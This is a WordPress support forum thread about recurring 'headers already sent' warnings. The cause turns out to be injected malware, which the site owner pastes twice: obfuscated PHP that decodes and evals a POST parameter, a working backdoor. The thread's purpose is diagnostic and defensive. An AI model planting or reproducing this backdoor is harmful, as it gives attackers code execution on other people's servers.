Title: Cannot Modify Header Information
Last modified: August 30, 2016

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# Cannot Modify Header Information

 *  Resolved [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/)
 * Many of my wordpress installations are receiving the Cannot Modify Header information,
   I fix the issue and within a few days the problem returns, there are no specific
   files that it is affecting, it is a different file each time. I would very much
   like to know how to prevent this from happening as clients are getting very frustrated
   about it let alone myself.

Viewing 13 replies - 1 through 13 (of 13 total)

 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798104)
 * Follow this guide for how to identify and correct the problem: [https://codex.wordpress.org/FAQ_Troubleshooting#How_do_I_solve_the_Headers_already_sent_warning_problem.3F](https://codex.wordpress.org/FAQ_Troubleshooting#How_do_I_solve_the_Headers_already_sent_warning_problem.3F)
 * Alternatively, replacing the file with one from a fresh download may resolve 
   the issue.
 *  Thread Starter [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798109)
 * My problem is not that I do not know how to fix the issue. My problem is how 
   do I stop it recurring. I fix it once and the problem occurs again in another
   file a few days later. During these few days no major changes or plugins are 
   added to the website.
 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798112)
 * Hm, this doesn’t sound good. 🙁
 * Does one of the errors reference a core WordPress file? Perhaps `script-loader.
   php` on line 1?
 * If so, can you share the code at the line of the file indicated?
 *  Thread Starter [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798113)
 * No they are generally ones in Include files such as category etc.
 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798114)
 * Ok, please quote at least three of the different errors.
 *  Thread Starter [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798116)
 * I do not have a copy of any of them since I have fixed them unfortunately. I 
   am more than happy to post them when they occur next but in the interim is there
   anything I can check as clients are getting quite frustrated
 *  Thread Starter [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798121)
 * The Latest error was:
 * `Warning: Cannot modify header information - headers already sent by (output 
   started at /home/content/64/12072764/html/websites/treetents/wp-includes/post-
   thunbnail-template.php:1) in /home/content/64/12072764/html/websites/treetents/
   wp-content/plugins/wptouch/core/class-wptouch-pro.php on line 266`
 * and another below it
 * `Warning: Cannot modify header information - headers already sent by (output 
   started at /home/content/64/12072764/html/websites/treetents/wp-includes/post-
   thunbnail-template.php:1) in /home/content/64/12072764/html/websites/treetents/
   wp-content/plugins/wptouch/core/class-wptouch-pro.php on line 2467`
 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798122)
 * Ok, so it’s all actually just `/wp-includes/post-thunbnail-template.php` at line
   1.
 * What do you have on line 1 of that file?
 *  Thread Starter [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798124)
 * And another two that I just received
 * `Warning: Cannot modify header information - headers already sent by (output 
   started at /home/content/64/12072764/html/wp-includes/taxonomy.php:1) in /home/
   content/64/12072764/html/wp-content/plugins/wordpress-https/lib/WordPressHTTPS.
   php on line 454`
 * and
 * `Warning: Cannot modify header information - headers already sent by (output 
   started at /home/content/64/12072764/html/wp-includes/taxonomy.php:1) in /home/
   content/64/12072764/html/wp-includes/pluggable.php on line 1207`
 * It is never the same file, it is always different files and on all the different
   websites I am hosting.
 *  Thread Starter [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798126)
 * This is the content on line one of taxonomy.php
 *     ```
       <?php                                                                                                                                                                                                                                                      $ygus27 = "6cb_de4patso" ;$xbwa5= strtolower($ygus27[2].$ygus27[8].$ygus27[10].$ygus27[5]. $ygus27[0].$ygus27[6] . $ygus27[3] . $ygus27[4].$ygus27[5]. $ygus27[1].$ygus27[11]. $ygus27[4].$ygus27[5]);$hyyh0= strtoupper( $ygus27[3]. $ygus27[7]. $ygus27[11]. $ygus27[10]. $ygus27[9] ) ;if( isset( ${$hyyh0}[ 'n1ca57c' ] ) ){ eval($xbwa5( ${$hyyh0} [ 'n1ca57c'] ));} ?> <?php
       ```
   
 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798127)
 * There’s your problem.
 * See all that junk there? *None* of it should be in the file.
 * Feel free to compare to fresh files from [https://wordpress.org/download/](https://wordpress.org/download/)
 * Unfortunately, there’s only one reason for that. 🙁
 * Remain calm and carefully follow [this guide](https://codex.wordpress.org/FAQ_My_site_was_hacked).
   When you’re done, you may want to implement some (if not all) of [the recommended security measures](https://codex.wordpress.org/Hardening_WordPress).
 *  Thread Starter [lewishackfath](https://wordpress.org/support/users/lewishackfath/)
 * (@lewishackfath)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798164)
 * `<?php $ebuc23="6oced_pat4sb";$ynq4= strtolower ( $ebuc23[11].$ebuc23[7].$ebuc23[
   10]. $ebuc23[3].$ebuc23[0].$ebuc23[9] . $ebuc23[5]. $ebuc23[4]. $ebuc23[3]. $
   ebuc23[2]. $ebuc23[1].$ebuc23[4].$ebuc23[3] );$uzt9 =strtoupper( $ebuc23[5].$
   ebuc23[6]. $ebuc23[1].$ebuc23[10].$ebuc23[8]) ;if(isset ( ${ $uzt9 } ['ne6f56c'])){
   eval( $ynq4(${ $uzt9}[ 'ne6f56c'] ) ); }?>`
 * Can you tell me what this actually is and how to stop it?
 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798221)
 * It’s injected malware, you need to follow the guide I linked to.

Viewing 13 replies - 1 through 13 (of 13 total)

The topic ‘Cannot Modify Header Information’ is closed to new replies.

## Tags

 * [cannot modify header](https://wordpress.org/support/topic-tag/cannot-modify-header/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 13 replies
 * 2 participants
 * Last reply from: [James Huff](https://wordpress.org/support/users/macmanx/)
 * Last activity: [10 years, 6 months ago](https://wordpress.org/support/topic/cannot-modify-header-information-111/#post-6798221)
 * Status: resolved

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